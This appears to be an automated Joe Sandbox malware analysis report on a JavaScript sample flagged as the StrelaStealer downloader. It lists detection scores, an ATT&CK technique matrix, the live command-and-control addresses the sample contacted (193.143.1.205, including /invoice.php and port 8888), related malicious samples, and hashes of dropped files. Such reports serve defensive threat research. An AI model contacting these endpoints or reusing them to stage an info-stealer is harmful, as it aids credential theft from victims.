Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1052056652379030461.js	5%	Virustotal		Browse
1052056652379030461.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3366156718.0000026AC4E00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2142685188.0000026AC4C50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2143091992.000001DC5E478000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588870
Start date and time:	2025-01-11 06:32:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1052056652379030461.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.22.50.131, 2.22.50.144, 2.23.197.184, 2.16.168.105, 2.16.168.107, 23.209.209.135, 13.107.246.45, 20.12.23.50, 104.126.112.182, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:33:29	API Interceptor	30x Sleep call for process: powershell.exe modified
00:33:34	API Interceptor	1x Sleep call for process: net.exe modified
00:33:34	API Interceptor	2x Sleep call for process: svchost.exe modified
00:33:47	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307220742911721
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugH:gJjJGtpTq2yv1AuNZRY3diu8iBVqFN
MD5:	83A71121BBA7F7B643A27B5D7677759E
SHA1:	3FB479BFD93D653B9277F4A6F000FE9BBA718906
SHA-256:	EE8377F27558348518509FBE72FAFAC7B375D3BBB8F9C0EB404845AE2DEABF05
SHA-512:	F55820E300128FE248F0F6363E9E314488A2FD88BB738245B0ACF440BCE5362D835C0C3982B1BFE9A643D0A4954890634A50622F297B14D88F6D15D550D100E8
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x282679ae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585795669650124
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	8C117CE64FE7B15D462F6E4C7216B8D9
SHA1:	4DAB2BF309032C39A544F04B1BD035C56F00F567
SHA-256:	C85C89856F21543FDC865FE41D9428ED1A7875DCE0EE549D70D3C5309659CE20
SHA-512:	2069DC01D8247C93151AE7CE9353D7C8C046829FC1B1228192C7B0723C7FA496147A5BEED5B332D8C972C425B993AA103C1F066E52285AA33283F925F13072B2
Malicious:	false
Preview:	(&y.... ...............X\...;...{......................0.z..........{.."!...}i.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................&..."!...}..................9e."!...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131443318441502
Encrypted:	false
SSDEEP:	3:fqCWl/KYewUovekGuAJkhvekl1/A+jqllrekGltll/SPj:CttKznytrxlOJe3l
MD5:	2473C0ABF0D26872424C124AD4D2564E
SHA1:	186B1D73BE407D2A628A7A3D22F49402302B05A2
SHA-256:	4AD6DF62C66D99E5B67B9BBAD40CFC377E380A03D6A6936BFB8794B0F5E2961F
SHA-512:	2888731CEA028C76B4E58FA58CC590BBDEFC6E5CBA416AE4C2BEE6B929D0ACB484FF701D4695A10294C6AF88A57AA0DAD46C63433960E86D77FD4258C7B12A3C
Malicious:	false
Preview:	..Og.....................................;...{.."!...}.......{...............{.......{...XL......{...................9e."!...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1706701919889415
Encrypted:	false
SSDEEP:	6:iOEX3M+q2P92nKuAl9OmbnIFUtGXxXZmwYXxqMVkwO92nKuAl9OmbjLJ:7EX3M+v4HAahFUtGXd/YXYMV5LHAaSJ
MD5:	13DC92E82985691016BD9122F728FB8F
SHA1:	A2F5F831BFA9F064FE582F80F8255C924CAF15A7
SHA-256:	2EA827E2295661EBC8991497CFA4AC5553B7454DC85B51CCCED6910C9BF0A4F7
SHA-512:	F3932A29FC59D4D483A835F31E0FEC8F337BC1BF74A66324823F8B8A6787FD7916B9BC4EACCB07ABDFF528ED2EFD63524BB6BA630F094153CDF2F3A2131AD04C
Malicious:	false
Preview:	2025/01/11-00:33:34.322 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:33:34.325 198c Recovering log #3.2025/01/11-00:33:34.325 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1706701919889415
Encrypted:	false
SSDEEP:	6:iOEX3M+q2P92nKuAl9OmbnIFUtGXxXZmwYXxqMVkwO92nKuAl9OmbjLJ:7EX3M+v4HAahFUtGXd/YXYMV5LHAaSJ
MD5:	13DC92E82985691016BD9122F728FB8F
SHA1:	A2F5F831BFA9F064FE582F80F8255C924CAF15A7
SHA-256:	2EA827E2295661EBC8991497CFA4AC5553B7454DC85B51CCCED6910C9BF0A4F7
SHA-512:	F3932A29FC59D4D483A835F31E0FEC8F337BC1BF74A66324823F8B8A6787FD7916B9BC4EACCB07ABDFF528ED2EFD63524BB6BA630F094153CDF2F3A2131AD04C
Malicious:	false
Preview:	2025/01/11-00:33:34.322 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:33:34.325 198c Recovering log #3.2025/01/11-00:33:34.325 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.145652538268189
Encrypted:	false
SSDEEP:	6:iOEmf5Q+q2P92nKuAl9Ombzo2jMGIFUtGkBgZmwYRQVkwO92nKuAl9Ombzo2jMmd:7EH+v4HAa8uFUtGke/YKV5LHAa8RJ
MD5:	7E5B65DA5C68DAF3E4E561C095BC2893
SHA1:	62AC5B966897C47072DF30C4978374478202B5D4
SHA-256:	A8BE93B379CC8F4798C802CCFBAF5ABF536F79D39AD5399BF6B79193B62D6AA7
SHA-512:	648D21724FE1089415F2FB8596B4C07C029E579D9CC5B6419DEF0447F8F252ACA7434FA14DC5D6CE10C2FF470B40ADB9EB04AECC8F09ACA19865F38C96F780DF
Malicious:	false
Preview:	2025/01/11-00:33:34.396 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:33:34.398 1c2c Recovering log #3.2025/01/11-00:33:34.399 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.145652538268189
Encrypted:	false
SSDEEP:	6:iOEmf5Q+q2P92nKuAl9Ombzo2jMGIFUtGkBgZmwYRQVkwO92nKuAl9Ombzo2jMmd:7EH+v4HAa8uFUtGke/YKV5LHAa8RJ
MD5:	7E5B65DA5C68DAF3E4E561C095BC2893
SHA1:	62AC5B966897C47072DF30C4978374478202B5D4
SHA-256:	A8BE93B379CC8F4798C802CCFBAF5ABF536F79D39AD5399BF6B79193B62D6AA7
SHA-512:	648D21724FE1089415F2FB8596B4C07C029E579D9CC5B6419DEF0447F8F252ACA7434FA14DC5D6CE10C2FF470B40ADB9EB04AECC8F09ACA19865F38C96F780DF
Malicious:	false
Preview:	2025/01/11-00:33:34.396 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:33:34.398 1c2c Recovering log #3.2025/01/11-00:33:34.399 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0401528653159415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2sBdOg2HfAcaq3QYiubxnP7E4T3OF+:Y2sRdsedMHD3QYhbxP7nbI+
MD5:	57AA48DF693DFBECA1532EBC39471373
SHA1:	CE02BB5A63343D072AE3E6FCCA697B93A252FFE1
SHA-256:	3FA430B2DEFEF1F1AE2751E5568FD95CCF9A01E3568D9C6291CE7A511B06AC06
SHA-512:	10D1BDD09D121D60D31C82C7C2AA577A37B6D3A94F6D29F847D69C647ED336FD4D956B4FDE46481FCA383ADE73786C90F7A94EBA8BF13CAA3E5656B58BE22C33
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133626995699","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155135},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff09d7be-7a5a-4b01-88a5-c2a5afb6242d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0401528653159415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2sBdOg2HfAcaq3QYiubxnP7E4T3OF+:Y2sRdsedMHD3QYhbxP7nbI+
MD5:	57AA48DF693DFBECA1532EBC39471373
SHA1:	CE02BB5A63343D072AE3E6FCCA697B93A252FFE1
SHA-256:	3FA430B2DEFEF1F1AE2751E5568FD95CCF9A01E3568D9C6291CE7A511B06AC06
SHA-512:	10D1BDD09D121D60D31C82C7C2AA577A37B6D3A94F6D29F847D69C647ED336FD4D956B4FDE46481FCA383ADE73786C90F7A94EBA8BF13CAA3E5656B58BE22C33
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133626995699","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155135},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239311563034842
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU+he2:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLj
MD5:	4EA2C0327B8597ABBFB72C534AA513B7
SHA1:	3D91D6A6B5D9DE96908A1783B0D98A0BD282A37B
SHA-256:	47B895C1BAB78350922FE4B27B6277C3C6CF3515FBD2BE4D07FA81F25E6261A2
SHA-512:	8BF27C14385305CACF77FA91513D1132B8F48C1BA34391F791320630DA2F9E90C333DEAA6399E2287C535E8276904BF67935D085BB4D68DC49AB932BA73C77DD
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.150429154622155
Encrypted:	false
SSDEEP:	6:iO1uQ+q2P92nKuAl9OmbzNMxIFUtAugZmwNFOSQVkwO92nKuAl9OmbzNMFLJ:71z+v4HAa8jFUtS/qV5LHAa84J
MD5:	16D1C5F08D141C7DADE86FA8793D89B3
SHA1:	34F05337B7312F4FBC8734247A1254A7ED677E72
SHA-256:	4AA6518B2085B4C1F02F979376C299192C49E8716F77C98DEA2C734F60773971
SHA-512:	812039B356FA11FA959682BB31539DB3B60A7A31C39ED49744B7B7C49FEE4037B8A7D148DE20C488E65FCAFF109AA63104349B9F24EAAE02D14B348E5D5730D4
Malicious:	false
Preview:	2025/01/11-00:33:34.627 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:33:34.628 1c2c Recovering log #3.2025/01/11-00:33:34.631 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.150429154622155
Encrypted:	false
SSDEEP:	6:iO1uQ+q2P92nKuAl9OmbzNMxIFUtAugZmwNFOSQVkwO92nKuAl9OmbzNMFLJ:71z+v4HAa8jFUtS/qV5LHAa84J
MD5:	16D1C5F08D141C7DADE86FA8793D89B3
SHA1:	34F05337B7312F4FBC8734247A1254A7ED677E72
SHA-256:	4AA6518B2085B4C1F02F979376C299192C49E8716F77C98DEA2C734F60773971
SHA-512:	812039B356FA11FA959682BB31539DB3B60A7A31C39ED49744B7B7C49FEE4037B8A7D148DE20C488E65FCAFF109AA63104349B9F24EAAE02D14B348E5D5730D4
Malicious:	false
Preview:	2025/01/11-00:33:34.627 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:33:34.628 1c2c Recovering log #3.2025/01/11-00:33:34.631 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7040801697871597
Encrypted:	false
SSDEEP:	3:kkFklGyG++stfllXlE/HT8k+lltNNX8RolJuRdxLlGB9lQRYwpDdt:kKfyG++seT857NMa8RdWBwRd
MD5:	F30E62A2D23FB992C61482BFA925F9F2
SHA1:	EA3AB4A744B939DE864DBABCD914637A5AB91841
SHA-256:	43DFAB5B243EF1839B8753CFB7FD423903BCE92DCCD08F3F7B0AD91B3258A9A6
SHA-512:	3FBC8E2F0364A6E60AA34E142699ED43EB2A649261AA673547A5FDC54EC91BD128466BCD8F00B4F6C273B8B20FF1E67038394F5D4E2ECB5E8820748FD5DEF746
Malicious:	false
Preview:	p...... ........u..c.c..(....................................................... ..........W.....d..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.111071594551534
Encrypted:	false
SSDEEP:	6:kKHoPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PoPiDnLNkPlE99SNxAhUe/3
MD5:	B98DCF697CAEE138B331BBF1C92A95AD
